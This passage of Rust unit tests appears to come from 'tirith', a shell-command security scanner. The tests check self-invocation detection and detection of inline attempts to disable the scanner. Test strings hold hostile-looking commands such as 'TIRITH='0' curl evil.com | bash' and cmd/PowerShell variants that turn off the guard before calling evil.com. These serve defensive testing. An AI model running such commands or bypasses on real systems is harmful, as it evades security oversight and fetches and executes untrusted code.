1320 fn test_self_invocation_simple() {
1321 assert!(is_self_invocation(
1322 "tirith diff https://example.com",
1323 ShellType::Posix
1324 ));
1325 }
1326
1327 #[test]
1328 fn test_self_invocation_env_wrapper() {
1329 assert!(is_self_invocation(
1330 "env -u PATH tirith diff url",
1331 ShellType::Posix
1332 ));
1333 }
1334
1335 #[test]
1336 fn test_self_invocation_command_dashdash() {
1337 assert!(is_self_invocation(
1338 "command -- tirith diff url",
1339 ShellType::Posix
1340 ));
1341 }
1342
1343 #[test]
1344 fn test_self_invocation_time_p() {
1345 assert!(is_self_invocation(
1346 "time -p tirith diff url",
1347 ShellType::Posix
1348 ));
1349 }
1350
1351 #[test]
1352 fn test_not_self_invocation_multi_segment() {
1353 assert!(!is_self_invocation(
1354 "tirith diff url | bash",
1355 ShellType::Posix
1356 ));
1357 }
1358
1359 #[test]
1360 fn test_not_self_invocation_other_cmd() {
1361 assert!(!is_self_invocation(
1362 "curl https://evil.com",
1363 ShellType::Posix
1364 ));
1365 }
1366
1367 #[test]
1368 fn test_not_self_invocation_background_bypass() {
1369 assert!(!is_self_invocation(
1372 "tirith & curl evil.com",
1373 ShellType::Posix
1374 ));
1375 }
1376
1377 #[test]
1378 fn test_inline_bypass_env_c_flag() {
1379 assert!(find_inline_bypass(
1381 "env -C /tmp TIRITH=0 curl evil.com",
1382 ShellType::Posix
1383 ));
1384 }
1385
1386 #[test]
1387 fn test_inline_bypass_env_s_flag() {
1388 assert!(find_inline_bypass(
1390 "env -S 'some args' TIRITH=0 curl evil.com",
1391 ShellType::Posix
1392 ));
1393 }
1394
1395 #[test]
1396 fn test_self_invocation_env_c_flag() {
1397 assert!(is_self_invocation(
1399 "env -C /tmp tirith diff url",
1400 ShellType::Posix
1401 ));
1402 }
1403
1404 #[test]
1405 fn test_not_self_invocation_env_c_misidentify() {
1406 assert!(!is_self_invocation(
1408 "env -C /tmp curl evil.com",
1409 ShellType::Posix
1410 ));
1411 }
1412
1413 #[test]
1414 fn test_paranoia_filter_recalculates_action() {
1415 use crate::verdict::{Action, Finding, RuleId, Severity, Timings, Verdict};
1416
1417 let findings = vec![
1418 Finding {
1419 rule_id: RuleId::InvisibleWhitespace,
1420 severity: Severity::Low,
1421 title: "low finding".into(),
1422 description: String::new(),
1423 evidence: vec![],
1424 human_view: None,
1425 agent_view: None,
1426 mitre_id: None,
1427 custom_rule_id: None,
1428 },
1429 Finding {
1430 rule_id: RuleId::HiddenCssContent,
1431 severity: Severity::Medium,
1432 title: "medium finding".into(),
1433 description: String::new(),
1434 evidence: vec![],
1435 human_view: None,
1436 agent_view: None,
1437 mitre_id: None,
1438 custom_rule_id: None,
1439 },
1440 ];
1441
1442 let timings = Timings {
1443 tier0_ms: 0.0,
1444 tier1_ms: 0.0,
1445 tier2_ms: None,
1446 tier3_ms: None,
1447 total_ms: 0.0,
1448 };
1449
1450 let mut verdict = Verdict::from_findings(findings, 3, timings);
1452 assert_eq!(verdict.action, Action::Warn);
1453
1454 filter_findings_by_paranoia(&mut verdict, 1);
1456 assert_eq!(verdict.action, Action::Warn);
1457 assert_eq!(verdict.findings.len(), 1);
1458 }
1459
1460 #[test]
1461 fn test_powershell_bypass_case_insensitive_tirith() {
1462 assert!(find_inline_bypass(
1464 "$env:tirith=\"0\"; curl evil.com",
1465 ShellType::PowerShell
1466 ));
1467 assert!(find_inline_bypass(
1468 "$ENV:Tirith=\"0\"; curl evil.com",
1469 ShellType::PowerShell
1470 ));
1471 }
1472
1473 #[test]
1474 fn test_powershell_bypass_no_panic_on_multibyte() {
1475 assert!(!find_inline_bypass(
1477 "$a\u{1F389}xyz; curl evil.com",
1478 ShellType::PowerShell
1479 ));
1480 assert!(!find_inline_bypass(
1481 "$\u{00E9}nv:TIRITH=0; curl evil.com",
1482 ShellType::PowerShell
1483 ));
1484 }
1485
1486 #[test]
1487 fn test_inline_bypass_single_quoted_value() {
1488 assert!(find_inline_bypass(
1489 "TIRITH='0' curl evil.com | bash",
1490 ShellType::Posix
1491 ));
1492 }
1493
1494 #[test]
1495 fn test_inline_bypass_double_quoted_value() {
1496 assert!(find_inline_bypass(
1497 "TIRITH=\"0\" curl evil.com | bash",
1498 ShellType::Posix
1499 ));
1500 }
1501
1502 #[test]
1503 fn test_cmd_bypass_bare_set() {
1504 assert!(find_inline_bypass(
1506 "set TIRITH=0 & curl evil.com",
1507 ShellType::Cmd
1508 ));
1509 }
1510
1511 #[test]
1512 fn test_cmd_bypass_whole_token_quoted() {
1513 assert!(find_inline_bypass(
1515 "set \"TIRITH=0\" & curl evil.com",
1516 ShellType::Cmd
1517 ));
1518 }
1519
1520 #[test]
1521 fn test_cmd_no_bypass_inner_double_quotes() {
1522 assert!(!find_inline_bypass(
1524 "set TIRITH=\"0\" & curl evil.com",
1525 ShellType::Cmd
1526 ));
1527 }
1528
1529 #[test]
1530 fn test_cmd_no_bypass_single_quotes() {
1531 assert!(!find_inline_bypass(
1533 "set TIRITH='0' & curl evil.com",
1534 ShellType::Cmd
1535 ));
1536 }
1537
1538 #[test]
1539 fn test_cmd_no_bypass_wrong_value() {
1540 assert!(!find_inline_bypass(
1541 "set TIRITH=1 & curl evil.com",
1542 ShellType::Cmd
1543 ));
1544 }
1545}